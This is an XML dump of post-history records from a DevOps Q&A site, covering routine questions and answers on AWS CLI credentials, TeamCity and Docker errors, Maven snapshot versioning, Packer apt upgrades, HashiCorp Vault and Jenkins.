  <row Id="14933" PostHistoryTypeId="5" PostId="4764" RevisionGUID="f6702848-ba3c-416d-a91a-49fb9700779a" CreationDate="2018-08-14T15:11:23.010" UserId="4328" Comment="Rewording" Text="Have you tried setting the AWS_ACCESS_KEY_ID and AWS_SECRET_ACCESS_KEY [environment variables][1]? By setting these variables **before** you run your cli commands, you should not have to run the `aws configure` command. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&gt; **Environment Variables** &#xD;&#xA;&gt;&#xD;&#xA;&gt; Environment variables override configuration and&#xD;&#xA;&gt; credential files and can be useful for scripting or temporarily&#xD;&#xA;&gt; setting a named profile as the default.&#xD;&#xA;&gt; The AWS CLI supports the following environment variables.&#xD;&#xA;&gt; &#xD;&#xA;&gt; *AWS_ACCESS_KEY_ID* – AWS access key.&#xD;&#xA;&gt; &#xD;&#xA;&gt; *AWS_SECRET_ACCESS_KEY* – AWS secret key. Access and secret key&#xD;&#xA;&gt; variables override credentials stored in credential and config files.&#xD;&#xA;&gt; &#xD;&#xA;&gt; *AWS_SESSION_TOKEN* – Specify a session token if you are using temporary&#xD;&#xA;&gt; security credentials.&#xD;&#xA;&gt; &#xD;&#xA;&gt; *AWS_DEFAULT_REGION* – AWS region. This variable overrides the default&#xD;&#xA;&gt; region of the in-use profile, if set.&#xD;&#xA;&gt; &#xD;&#xA;&gt; ....&#xD;&#xA;&#xD;&#xA;  &#xD;&#xA;&#xD;&#xA;[1]: https://docs.aws.amazon.com/cli/latest/userguide/cli-environment.html" ContentLicense="CC BY-SA 4.0" />
  <row Id="14934" PostHistoryTypeId="2" PostId="4765" RevisionGUID="bf105fc3-281c-4dcc-a881-3c4f5cb3b9b2" CreationDate="2018-08-14T15:34:51.207" UserId="9255" Text="I'm running a Team City build that runs a command line step in a Docker image (stefanscherer/node-windows:8.11.2-nanoserver). The step is simply this:&#xD;&#xA;&#xD;&#xA;    npm install&#xD;&#xA;&#xD;&#xA;Note that Team City allows you to specify a docker image to run the step in; alternatively, I set the build step to run this instead:&#xD;&#xA;&#xD;&#xA;    docker version&#xD;&#xA;    docker run --rm -w &quot;C:\build&quot; -v &quot;%%CD%%:C:\build&quot; --entrypoint cmd  stefanscherer/node-windows:8.11.2-nanoserver &quot;/c&quot; &quot;npm install&quot;&#xD;&#xA;&#xD;&#xA;Regardless of how I run the step, I get an error like this:&#xD;&#xA;&#xD;&#xA;    [09:24:11]npm info it worked if it ends with ok&#xD;&#xA;    [09:24:11]npm info using npm@5.6.0&#xD;&#xA;    [09:24:11]npm info using node@v8.11.2&#xD;&#xA;    [09:24:11]npm info ok &#xD;&#xA;    [09:24:12]npm info it worked if it ends with ok&#xD;&#xA;    [09:24:12]npm info using npm@5.6.0&#xD;&#xA;    [09:24:12]npm info using node@v8.11.2&#xD;&#xA;    [09:24:13]npm ERR! path C:\ContainerMappedDirectories&#xD;&#xA;    [09:24:13]npm ERR! code ENOENT&#xD;&#xA;    [09:24:13]npm ERR! errno -4058&#xD;&#xA;    [09:24:13]npm ERR! syscall lstat&#xD;&#xA;    [09:24:13]npm ERR! enoent ENOENT: no such file or directory, lstat 'C:\ContainerMappedDirectories'&#xD;&#xA;    [09:24:13]npm ERR! enoent This is related to npm not being able to find a file.&#xD;&#xA;    [09:24:13]npm ERR! enoent &#xD;&#xA;    [09:24:13]&#xD;&#xA;    [09:24:13]npm ERR! A complete log of this run can be found in:&#xD;&#xA;    [09:24:13]npm ERR!     C:\Users\ContainerAdministrator\AppData\Roaming\npm-cache\_logs\2018-08-14T14_24_13_376Z-debug.log&#xD;&#xA;    [09:24:14]Process exited with code -4058&#xD;&#xA;    [09:24:14]Process exited with code -4058&#xD;&#xA;    [09:24:14]Step Command Line failed&#xD;&#xA;&#xD;&#xA;Note the error &quot;ENOENT: no such file or directory, lstat 'C:\ContainerMappedDirectories'&quot;. I've come across this post: https://github.com/nodejs/node/issues/8897, however that seems to suggest the issue is related to the version of npm that's running, and that it should be fixed by updating. However, I can run the exact same docker image on my development PC with no issues.&#xD;&#xA;&#xD;&#xA;Development PC:&#xD;&#xA;&#xD;&#xA;    Windows 10 Enterprise, version 1803, build 17134.165&#xD;&#xA;    PS C:\Users\schaefke&gt; docker version&#xD;&#xA;    Client:&#xD;&#xA;     Version:           18.06.0-ce&#xD;&#xA;     API version:       1.38&#xD;&#xA;     Go version:        go1.10.3&#xD;&#xA;     Git commit:        0ffa825&#xD;&#xA;     Built:             Wed Jul 18 19:05:28 2018&#xD;&#xA;     OS/Arch:           windows/amd64&#xD;&#xA;     Experimental:      false&#xD;&#xA;    &#xD;&#xA;    Server:&#xD;&#xA;     Engine:&#xD;&#xA;      Version:          18.06.0-ce&#xD;&#xA;      API version:      1.38 (minimum version 1.24)&#xD;&#xA;      Go version:       go1.10.3&#xD;&#xA;      Git commit:       0ffa825&#xD;&#xA;      Built:            Wed Jul 18 19:23:19 2018&#xD;&#xA;      OS/Arch:          windows/amd64&#xD;&#xA;      Experimental:     false&#xD;&#xA;&#xD;&#xA;Team City build:&#xD;&#xA;&#xD;&#xA;    Windows Server 2016&#xD;&#xA;    Client:&#xD;&#xA;     Version:      18.03.1-ee-2&#xD;&#xA;     API version:  1.37&#xD;&#xA;     Go version:   go1.10.2&#xD;&#xA;     Git commit:   ebbcd7e&#xD;&#xA;     Built:        Tue Jul 10 21:32:32 2018&#xD;&#xA;     OS/Arch:      windows/amd64&#xD;&#xA;     Experimental: false&#xD;&#xA;    &#xD;&#xA;    Server:&#xD;&#xA;     Engine:&#xD;&#xA;      Version:      18.03.1-ee-2&#xD;&#xA;      API version:  1.37 (minimum version 1.24)&#xD;&#xA;      Go version:   go1.10.2&#xD;&#xA;      Git commit:   ebbcd7e&#xD;&#xA;      Built:        Tue Jul 10 21:49:06 2018&#xD;&#xA;      OS/Arch:      windows/amd64&#xD;&#xA;      Experimental: false&#xD;&#xA;&#xD;&#xA;Team City:&#xD;&#xA;&#xD;&#xA;    Version 2017.2.1 build 50732&#xD;&#xA;&#xD;&#xA;NPM/Node versions:&#xD;&#xA;&#xD;&#xA;    npm info using npm@5.6.0&#xD;&#xA;    npm info using node@v8.11.2&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I do get the same error locally if I uninstall Docker for Windows 18 and install 17. Could this be an Enterprise Edition versus Community Edition issue? I don't believe it is an issue with the docker image I'm using, as it runs just fine on my dev machine, nor do I believe it's an issue with the version of npm that's running in the image for the same reason.&#xD;&#xA;&#xD;&#xA;Does anyone know what might be causing the issue I'm seeing (or what component--i.e., the docker image, npm, something with Team City, or docker itself--could be the culprit)?" ContentLicense="CC BY-SA 4.0" />
  <row Id="14935" PostHistoryTypeId="1" PostId="4765" RevisionGUID="bf105fc3-281c-4dcc-a881-3c4f5cb3b9b2" CreationDate="2018-08-14T15:34:51.207" UserId="9255" Text="Error running Team City build step in Docker image: &quot;ENOENT: no such file or directory, lstat 'C:\ContainerMappedDirectories'" ContentLicense="CC BY-SA 4.0" />
  <row Id="14936" PostHistoryTypeId="3" PostId="4765" RevisionGUID="bf105fc3-281c-4dcc-a881-3c4f5cb3b9b2" CreationDate="2018-08-14T15:34:51.207" UserId="9255" Text="&lt;docker&gt;&lt;windows&gt;&lt;teamcity&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="14937" PostHistoryTypeId="50" PostId="4306" RevisionGUID="8f00b87f-5175-41a2-b402-5ebcc27cefb4" CreationDate="2018-08-14T17:01:07.433" UserId="-1" />
  <row Id="14938" PostHistoryTypeId="2" PostId="4766" RevisionGUID="fe9f7480-5c01-46a1-8f46-a0c894b3c127" CreationDate="2018-08-14T17:30:11.237" UserId="3217" Text="I'm working on a Git workflow (not git-flow) for a Java project that uses Maven and Artifactory for artifact storage. On develop and feature/* branches the version number contains '-SNAPSHOT'. It is not desirable to have release/* or master branches with '-SNAPSHOT' so I'm trying to figure out when (and how) to get rid of it.&#xD;&#xA;&#xD;&#xA;I came up with a partial workflow, as below, but it doesn't handle removing 'SNAPSHOT':&#xD;&#xA;&#xD;&#xA;    				v1.0-snap    v1.0-snap&#xD;&#xA;    feature/a		* ---------&gt; *&#xD;&#xA;    				^			 |&#xD;&#xA;    				|			 |&#xD;&#xA;    				|			 v&#xD;&#xA;    develop			*			 * v1.0-snap&#xD;&#xA;    				v1.0-snap    |&#xD;&#xA;    							 |&#xD;&#xA;    							 v 		  &#xD;&#xA;    release/1.1		   v1.0-snap * -----&gt; *&#xD;&#xA;    									v1.1-snap&#xD;&#xA;&#xD;&#xA;I came up with 2 options, but both might be wrong.&#xD;&#xA;&#xD;&#xA;**Option 1**&#xD;&#xA;&#xD;&#xA;    				v1.0-snap    v1.0-snap&#xD;&#xA;    feature/a		* ---------&gt; *&#xD;&#xA;    				^			 |&#xD;&#xA;    				|			 |&#xD;&#xA;    				|			 v 			   v1.1-snap&#xD;&#xA;    develop			*			 * v1.0-snap  *&#xD;&#xA;    				v1.0-snap    |			 /&#xD;&#xA;    							 |     		/&#xD;&#xA;    							 v 		   /&#xD;&#xA;    release/1.1		   v1.0-snap * -----&gt; * v1.1-snap&#xD;&#xA;    									   \&#xD;&#xA;    									   	\&#xD;&#xA;    									   	 \&#xD;&#xA;    master									  * --------&gt; *&#xD;&#xA;    										  v1.1-snap	  v1.1&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**Option 2**&#xD;&#xA;	&#xD;&#xA;&#xD;&#xA;        			v1.0-snap    v1.0-snap&#xD;&#xA;    feature/a		* ---------&gt; *&#xD;&#xA;    				^			 |&#xD;&#xA;    				|			 |&#xD;&#xA;    				|			 v 			   v1.1-snap&#xD;&#xA;    develop			*			 * v1.0-snap  *&#xD;&#xA;    				v1.0-snap    |			 /&#xD;&#xA;    							 |     		/&#xD;&#xA;    							 v 		   /&#xD;&#xA;    release/1.1		   v1.0-snap * -----&gt; * ----- &gt;* v1.1&#xD;&#xA;								       v1.1-snap    \&#xD;&#xA;    									   			 \&#xD;&#xA;    									   	 		  \&#xD;&#xA;    master									  		   *&#xD;&#xA;    										  		  v1.1&#xD;&#xA;&#xD;&#xA;Both options seems weird to me, though.&#xD;&#xA;&#xD;&#xA;Is there any best practice for this kind of flow?" ContentLicense="CC BY-SA 4.0" />
  <row Id="14939" PostHistoryTypeId="1" PostId="4766" RevisionGUID="fe9f7480-5c01-46a1-8f46-a0c894b3c127" CreationDate="2018-08-14T17:30:11.237" UserId="3217" Text="When to get rid of '-SNAPSHOT'" ContentLicense="CC BY-SA 4.0" />
  <row Id="14940" PostHistoryTypeId="3" PostId="4766" RevisionGUID="fe9f7480-5c01-46a1-8f46-a0c894b3c127" CreationDate="2018-08-14T17:30:11.237" UserId="3217" Text="&lt;continuous-integration&gt;&lt;git&gt;&lt;maven&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="14941" PostHistoryTypeId="2" PostId="4767" RevisionGUID="20148c1f-218b-4507-936b-13ac47042d8f" CreationDate="2018-08-14T20:40:24.370" UserId="8359" Text="Looks like you are using the Gitlab plugin for jenkins?&#xD;&#xA;if so this link should be of help https://github.com/jenkinsci/gitlab-plugin#declarative-pipeline-jobs" ContentLicense="CC BY-SA 4.0" />
  <row Id="14942" PostHistoryTypeId="2" PostId="4768" RevisionGUID="712e6a9b-87ac-4771-be93-5e4872e7ed04" CreationDate="2018-08-14T20:55:44.980" UserId="4883" Text="I have created a s3 bucket with all permissions and user access through IAM policies. I give the below URL to the customer to access that bucket&#xD;&#xA;&#xD;&#xA;    https://s3.console.aws.amazon.com/s3/buckets/s3-upload-yyy-workshop-us-east-1&#xD;&#xA;&#xD;&#xA;This url opens the login page where the user enters the username &amp; password to access the bucket. Instead of giving this URL I want some meaningful URL to the customer, such as:&#xD;&#xA;     &#xD;&#xA;    https://aws-company_name.com/s3-upload-hcl-workshop-us-east-1&#xD;&#xA;&#xD;&#xA;Even with this URL, I want the login page to open. What are the options to achieve this?" ContentLicense="CC BY-SA 4.0" />
  <row Id="14943" PostHistoryTypeId="1" PostId="4768" RevisionGUID="712e6a9b-87ac-4771-be93-5e4872e7ed04" CreationDate="2018-08-14T20:55:44.980" UserId="4883" Text="Converting s3 URL to the desired one" ContentLicense="CC BY-SA 4.0" />
  <row Id="14944" PostHistoryTypeId="3" PostId="4768" RevisionGUID="712e6a9b-87ac-4771-be93-5e4872e7ed04" CreationDate="2018-08-14T20:55:44.980" UserId="4883" Text="&lt;amazon-web-services&gt;&lt;amazon-s3&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="14945" PostHistoryTypeId="5" PostId="4764" RevisionGUID="a5accf22-b421-42eb-bdda-dabedd50f802" CreationDate="2018-08-14T21:18:03.650" UserId="739" Comment="formatting code" Text="Have you tried setting the `AWS_ACCESS_KEY_ID` and `AWS_SECRET_ACCESS_KEY` [environment variables][1]? By setting these variables **before** you run your cli commands, you should not have to run the `aws configure` command. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&gt; **Environment Variables** &#xD;&#xA;&gt;&#xD;&#xA;&gt; Environment variables override configuration and&#xD;&#xA;&gt; credential files and can be useful for scripting or temporarily&#xD;&#xA;&gt; setting a named profile as the default.&#xD;&#xA;&gt; The AWS CLI supports the following environment variables.&#xD;&#xA;&gt; &#xD;&#xA;&gt; `AWS_ACCESS_KEY_ID` – AWS access key.&#xD;&#xA;&gt; &#xD;&#xA;&gt; `AWS_SECRET_ACCESS_KEY` – AWS secret key. Access and secret key&#xD;&#xA;&gt; variables override credentials stored in credential and config files.&#xD;&#xA;&gt; &#xD;&#xA;&gt; `AWS_SESSION_TOKEN` – Specify a session token if you are using temporary&#xD;&#xA;&gt; security credentials.&#xD;&#xA;&gt; &#xD;&#xA;&gt; `AWS_DEFAULT_REGION` – AWS region. This variable overrides the default&#xD;&#xA;&gt; region of the in-use profile, if set.&#xD;&#xA;&gt; &#xD;&#xA;&gt; ....&#xD;&#xA;&#xD;&#xA;  &#xD;&#xA;&#xD;&#xA;[1]: https://docs.aws.amazon.com/cli/latest/userguide/cli-environment.html" ContentLicense="CC BY-SA 4.0" />
  <row Id="14946" PostHistoryTypeId="24" PostId="4764" RevisionGUID="a5accf22-b421-42eb-bdda-dabedd50f802" CreationDate="2018-08-14T21:18:03.650" Comment="Proposed by 739 approved by 4328 edit id of 754" ContentLicense="CC BY-SA 4.0" />
  <row Id="14947" PostHistoryTypeId="50" PostId="3999" RevisionGUID="b378de85-4380-4a9e-8026-9cff6c6bca13" CreationDate="2018-08-14T22:01:11.060" UserId="-1" />
  <row Id="14952" PostHistoryTypeId="2" PostId="4770" RevisionGUID="b6081e6c-7464-41dc-a632-f7d36334ae44" CreationDate="2018-08-15T07:11:24.350" UserId="8359" Text="I believe it is now possible to configure the webhook on per-repo basis:&#xD;&#xA;&#xD;&#xA;https://mohamicorp.atlassian.net/wiki/spaces/DOC/pages/381419546/Configuring+Webhook+To+Jenkins+for+Bitbucket+Bitbucket+Branch+Source+Plugin" ContentLicense="CC BY-SA 4.0" />
  <row Id="14953" PostHistoryTypeId="5" PostId="1139" RevisionGUID="73894df8-8103-44b0-b3b8-7df6aaa62424" CreationDate="2018-08-15T08:29:18.697" UserId="40" Comment="Integrate comments from OPer " Text="I'm using [Packer][1] to create an AWS AMI based on an Ubuntu 16.04 image. In the beginning, I'm doing an upgrade:&#xD;&#xA;&#xD;&#xA;    sudo apt-get update&#xD;&#xA;    sudo apt-get upgrade -y&#xD;&#xA;&#xD;&#xA;Here is the relevant part of my provisioners section:&#xD;&#xA;&#xD;&#xA;    &quot;provisioners&quot;: [&#xD;&#xA;	  {&#xD;&#xA;        &quot;type&quot;: &quot;shell&quot;,&#xD;&#xA;	    &quot;inline&quot;: [&#xD;&#xA;  		  &quot;sudo apt-get update&quot;,&#xD;&#xA;  		  &quot;sudo apt-get upgrade -y&quot;&#xD;&#xA;	    ]&#xD;&#xA;	  }&#xD;&#xA;    ]&#xD;&#xA;&#xD;&#xA;This breaks the automatization, however, as an interactive dialog pops up:&#xD;&#xA;&#xD;&#xA;    amazon-ebs: Found kernel: /boot/vmlinuz-4.4.0-72-generic&#xD;&#xA;    amazon-ebs: A new version of /boot/grub/menu.lst is available, but the version installed&#xD;&#xA;    amazon-ebs: currently has been locally modified.&#xD;&#xA;    amazon-ebs:&#xD;&#xA;    amazon-ebs: 1. install the package maintainer's version&#xD;&#xA;    amazon-ebs: 2. keep the local version currently installed&#xD;&#xA;    amazon-ebs: 3. show the differences between the versions&#xD;&#xA;    amazon-ebs: 4. show a side-by-side difference between the versions&#xD;&#xA;    amazon-ebs: 5. show a 3-way difference between available versions&#xD;&#xA;    amazon-ebs: 6. do a 3-way merge between available versions (experimental)&#xD;&#xA;    amazon-ebs: 7. start a new shell to examine the situation&#xD;&#xA;&#xD;&#xA;I also tried to set `export DEBIAN_FRONTEND=noninteractive` before (as recommended in [this answer][2]). Unfortunately, it makes no difference.&#xD;&#xA;&#xD;&#xA;**Questions:**&#xD;&#xA;&#xD;&#xA;* Is there a way to get past the iteractive dialog (selecting option 1 would be fine)?&#xD;&#xA;* Is it instead better to avoid upgrades and instead trust that the AMIs are up to date and contain the critical security patches?&#xD;&#xA;&#xD;&#xA;Background: This is the relevant part of my &quot;builders&quot; section, where I configured it to use the latest available AMI:&#xD;&#xA;&#xD;&#xA;    &quot;builders&quot;: [{&#xD;&#xA;      &quot;type&quot;: &quot;amazon-ebs&quot;,&#xD;&#xA;      &quot;region&quot;: &quot;eu-central-1&quot;,&#xD;&#xA;        ...&#xD;&#xA;		&quot;source_ami_filter&quot;: {&#xD;&#xA;			&quot;filters&quot;: {&#xD;&#xA;				&quot;virtualization-type&quot;: &quot;hvm&quot;,&#xD;&#xA;				&quot;name&quot;: &quot;*ubuntu-xenial-16.04-amd64-server-*&quot;,&#xD;&#xA;				&quot;root-device-type&quot;: &quot;ebs&quot;&#xD;&#xA;			},&#xD;&#xA;			&quot;owners&quot;: [&quot;099720109477&quot;],&#xD;&#xA;			&quot;most_recent&quot;: true&#xD;&#xA;		},&#xD;&#xA;      ...&#xD;&#xA;    }]&#xD;&#xA;&#xD;&#xA;**Note**: Turns out that the `noniteractive` mode works if you run apt-get update with both the `-y` and the `-q` flag.&#xD;&#xA;&#xD;&#xA;  [1]: https://www.packer.io/&#xD;&#xA;  [2]: https://askubuntu.com/a/190332/117753" ContentLicense="CC BY-SA 4.0" />
  <row Id="14955" PostHistoryTypeId="5" PostId="2724" RevisionGUID="dd961651-5bbe-48de-88d7-dd9ce9958c64" CreationDate="2018-08-15T13:02:39.647" UserId="3766" Comment="grammer correction" Text="Yes because you can use advanced automation to create value and establish reusable foundations of your future bigger company. Depends, of course on how often you are going to update your digital products. But you will value the possibility to as much manual work as necessary on repetitive exercises." ContentLicense="CC BY-SA 4.0" />
  <row Id="14956" PostHistoryTypeId="24" PostId="2724" RevisionGUID="dd961651-5bbe-48de-88d7-dd9ce9958c64" CreationDate="2018-08-15T13:02:39.647" Comment="Proposed by 3766 approved by 707 edit id of 755" ContentLicense="CC BY-SA 4.0" />
  <row Id="14957" PostHistoryTypeId="5" PostId="4763" RevisionGUID="22ed1781-d0d6-4bbd-b34f-c831b72f42df" CreationDate="2018-08-15T13:18:42.783" UserDisplayName="user8517" Comment="added script code" Text="I am working on setting up something with S3 and Chef, I have AWS CLI installed and working but I need to figure out how to specify the `access ID` and the `secret access key`. I know there are cookbooks out there for this but I have tried a few with no luck so I am not using anyone else's cookbooks for this project anymore. &#xD;&#xA;&#xD;&#xA;Suggestions on how I can run `aws configure` and then output the correct value for each of the 4 things it asks?&#xD;&#xA;&#xD;&#xA;Code in my script to set env variables:&#xD;&#xA;&#xD;&#xA;    export AWS_ACCESS_KEY_ID=&lt;key&gt;&#xD;&#xA;    &#xD;&#xA;    export AWS_SECRET_ACCESS_KEY=&lt;secret_key&gt;&#xD;&#xA;    &#xD;&#xA;    export AWS_DEFAULT_REGION=&lt;region&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="14958" PostHistoryTypeId="50" PostId="4514" RevisionGUID="34b70847-7f7e-4f9a-a54a-db5060b6f5e3" CreationDate="2018-08-15T14:00:58.947" UserId="-1" />
  <row Id="14959" PostHistoryTypeId="2" PostId="4771" RevisionGUID="c71be337-1dbd-4669-ad34-0a7e54eec099" CreationDate="2018-08-15T17:31:39.750" UserDisplayName="user8517" Text="I have a hashicorp vault setup and it seems to return `null` all the time except when I ssh into the VM and then I set the values again followed by checking the values directly on the vault server.&#xD;&#xA;&#xD;&#xA;Any ideas what might be happening? I am a bit lost on this and not even sure what logs or config files are helpful. This is one of my first experiences with vault and so far it seems finicky at best." ContentLicense="CC BY-SA 4.0" />
  <row Id="14960" PostHistoryTypeId="1" PostId="4771" RevisionGUID="c71be337-1dbd-4669-ad34-0a7e54eec099" CreationDate="2018-08-15T17:31:39.750" UserDisplayName="user8517" Text="Hashicorp vault returning null" ContentLicense="CC BY-SA 4.0" />
  <row Id="14961" PostHistoryTypeId="3" PostId="4771" RevisionGUID="c71be337-1dbd-4669-ad34-0a7e54eec099" CreationDate="2018-08-15T17:31:39.750" UserDisplayName="user8517" Text="&lt;hashicorp-vault&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="14962" PostHistoryTypeId="2" PostId="4772" RevisionGUID="f63929b2-8a42-445f-a58c-1b142643092a" CreationDate="2018-08-15T21:57:28.833" UserId="9274" Text="If I immediately terminate the process that called `docker stack deploy` will the docker swarm continue?&#xD;&#xA;&#xD;&#xA;My use case is this:&#xD;&#xA;&#xD;&#xA;1. In my CI job I ssh into my swarm cluster node.&#xD;&#xA;2. I copy the new stack.yml file and issue&#xD;&#xA;3. `docker stack deploy -c stack.yml stack`&#xD;&#xA;4. Since this immediately returns, my CI job disconnects from ssh.&#xD;&#xA;&#xD;&#xA;My question is whether this can lead to some unforeseen side-effects? Is my deploy being terminated midway? Or will docker swarm be smart enough to keep going on its own.&#xD;&#xA;&#xD;&#xA;Thanks" ContentLicense="CC BY-SA 4.0" />
  <row Id="14963" PostHistoryTypeId="1" PostId="4772" RevisionGUID="f63929b2-8a42-445f-a58c-1b142643092a" CreationDate="2018-08-15T21:57:28.833" UserId="9274" Text="Is it ok to logout after calling docker stack deploy?" ContentLicense="CC BY-SA 4.0" />
  <row Id="14964" PostHistoryTypeId="3" PostId="4772" RevisionGUID="f63929b2-8a42-445f-a58c-1b142643092a" CreationDate="2018-08-15T21:57:28.833" UserId="9274" Text="&lt;docker&gt;&lt;docker-swarm&gt;&lt;cicd&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="14965" PostHistoryTypeId="5" PostId="4760" RevisionGUID="f574a830-3130-423e-9357-cf9a577f35cb" CreationDate="2018-08-16T03:02:13.823" UserId="739" Comment="fewer tags and small copy edits" Text="I was going through targeting minions in salt. There I came across a term called `glob`. Can someone explain with an example what is a **`glob`** in Salt-Stack?" ContentLicense="CC BY-SA 4.0" />
  <row Id="14966" PostHistoryTypeId="6" PostId="4760" RevisionGUID="f574a830-3130-423e-9357-cf9a577f35cb" CreationDate="2018-08-16T03:02:13.823" UserId="739" Comment="fewer tags and small copy edits" Text="&lt;deployment&gt;&lt;terminology&gt;&lt;salt&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="14967" PostHistoryTypeId="24" PostId="4760" RevisionGUID="f574a830-3130-423e-9357-cf9a577f35cb" CreationDate="2018-08-16T03:02:13.823" Comment="Proposed by 739 approved by 40, 8463 edit id of 753" ContentLicense="CC BY-SA 4.0" />
  <row Id="14968" PostHistoryTypeId="5" PostId="4771" RevisionGUID="707930f9-964e-4615-8820-d0669ae41323" CreationDate="2018-08-16T11:57:36.327" UserId="6375" Comment="Format content" Text="I have a HashiCorp vault setup and it seems to return `null` all the time except when I ssh into the VM and then I set the values again followed by checking the values directly on the vault server.&#xD;&#xA;&#xD;&#xA;Any ideas what might be happening? &#xD;&#xA;&#xD;&#xA;I am a bit lost on this and not even sure what logs or config files are helpful. This is one of my first experiences with vault and so far it seems finicky at best." ContentLicense="CC BY-SA 4.0" />
  <row Id="14969" PostHistoryTypeId="4" PostId="4771" RevisionGUID="707930f9-964e-4615-8820-d0669ae41323" CreationDate="2018-08-16T11:57:36.327" UserId="6375" Comment="Format content" Text="Why HashiCorp vault returning null?" ContentLicense="CC BY-SA 4.0" />
  <row Id="14970" PostHistoryTypeId="24" PostId="4771" RevisionGUID="707930f9-964e-4615-8820-d0669ae41323" CreationDate="2018-08-16T11:57:36.327" Comment="Proposed by 6375 approved by 8517 edit id of 757" ContentLicense="CC BY-SA 4.0" />
  <row Id="14972" PostHistoryTypeId="2" PostId="4773" RevisionGUID="294d2afb-9437-48c6-a451-9f4f88feb06a" CreationDate="2018-08-16T12:07:12.260" UserId="9279" Text="Some background: The project I'm working on is in SVN. Very very large. A lot of tests are running on Jenkins. I want to implement a new tests which should be executed only if files in certain directory have been changed.&#xD;&#xA;&#xD;&#xA;The idea that I had was:&#xD;&#xA;&#xD;&#xA; - to trigger the job using a pollSCM every ten minutes&#xD;&#xA; - check the files in currentBuild.changeSets. If a file contains the directory, continue.&#xD;&#xA; - Only then I do a full checkout of the repository, compile, and run the tests.&#xD;&#xA;&#xD;&#xA;But before I write the code, I was wondering when does  currentBuild.changeSets? Will it have the required information when triggered by a pollSCM? I could not find this in the documentation&#xD;&#xA;&#xD;&#xA;Yes, this could be done in a better way using git and hooks and other tools but that's what I have right now.&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="14973" PostHistoryTypeId="1" PostId="4773" RevisionGUID="294d2afb-9437-48c6-a451-9f4f88feb06a" CreationDate="2018-08-16T12:07:12.260" UserId="9279" Text="when does currentBuild.changeSets in Jenkins gets filled?" ContentLicense="CC BY-SA 4.0" />
  <row Id="14974" PostHistoryTypeId="3" PostId="4773" RevisionGUID="294d2afb-9437-48c6-a451-9f4f88feb06a" CreationDate="2018-08-16T12:07:12.260" UserId="9279" Text="&lt;jenkins&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="14978" PostHistoryTypeId="2" PostId="4775" RevisionGUID="726d4ea5-ba11-4562-ac9f-424df34f1423" CreationDate="2018-08-16T14:10:27.610" UserId="9148" Text="If I understand the question correctly, you want a way to distribute status information of other servers, not specifically the Jenkins server, to less-technical users. Is that correct?  I guess the follow-up question would be, do the servers in question already have some sort of API or other interface to query the status?&#xD;&#xA;&#xD;&#xA;If so, then your script could do something as simple as using sh to call `curl` or `wget` to query the information from those servers. Since you seem to be ok with using whatever output format that a plugin would need, perhaps you can save the output as HTML and then use the [Jenkins HTML Publisher plugin][1] to generate reports. These reports would be viewable on the Jenkins build page.&#xD;&#xA;&#xD;&#xA;Alternatively, you could output the status information as text and include it in the body of an e-mail sent to the less technical users via the [Jenkins Email-ext plugin][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://wiki.jenkins.io/display/JENKINS/HTML+Publisher+Plugin&#xD;&#xA;  [2]: https://wiki.jenkins.io/display/JENKINS/Email-ext+plugin" ContentLicense="CC BY-SA 4.0" />
  <row Id="14979" PostHistoryTypeId="2" PostId="4776" RevisionGUID="d2be0622-c11c-45d7-bba1-28f756ea41cb" CreationDate="2018-08-16T15:48:34.043" UserId="7385" Text="I have a similar setup.&#xD;&#xA;&#xD;&#xA;For `feature/*` and `develop`, I use something like `18.08-SNAPSHOT` in my pom.&#xD;&#xA;When we're ready to start release hardening, I'll cut a release branch (`release/18.08`) and change the version in the pom/s to `18.08`.&#xD;&#xA;&#xD;&#xA;I'll also bump the version on develop to `18.09-SNAPSHOT`, for example.&#xD;&#xA;&#xD;&#xA;From there, bugfix and finalise the release, merge to master when appropriate.&#xD;&#xA;&#xD;&#xA;We're not properly CI/CD yet, but the issue I bumped in to with release builds was that I still needed unique builds in Artifactory.  So, at build time (for release branches) Jenkins will change the version in the pom to something like `18.08-326` (326 being build number).  It won't commit this change, but the artefact that gets built and pushed to Artifactory will be unique (`foobar-18.08-325.war`)&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="14980" PostHistoryTypeId="5" PostId="4776" RevisionGUID="730d0c0c-6b6e-4780-9ab5-b3110d534770" CreationDate="2018-08-16T16:01:37.087" UserId="7385" Comment="Typos" Text="I have a similar setup.&#xD;&#xA;&#xD;&#xA;For `feature/*` and `develop`, I use something like `18.08-SNAPSHOT` in my pom.&#xD;&#xA;When we're ready to start release hardening, I'll cut a release branch (`release/18.08`) and change the version in the pom/s to `18.08`.&#xD;&#xA;&#xD;&#xA;I'll also bump the version on develop to `18.09-SNAPSHOT`, for example.&#xD;&#xA;&#xD;&#xA;From there, bugfix and finalise the release, merge to `master` when appropriate.&#xD;&#xA;&#xD;&#xA;We're not properly CI/CD yet, but the issue I bumped in to with release builds was that I still needed unique builds in Artifactory.  So, at build time (for release branches) Jenkins will change the version in the pom to something like `18.08-326` (326 being build number).  It won't commit this change, but the artefact that gets built and pushed to Artifactory will be unique (`foobar-18.08-326.war`)&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
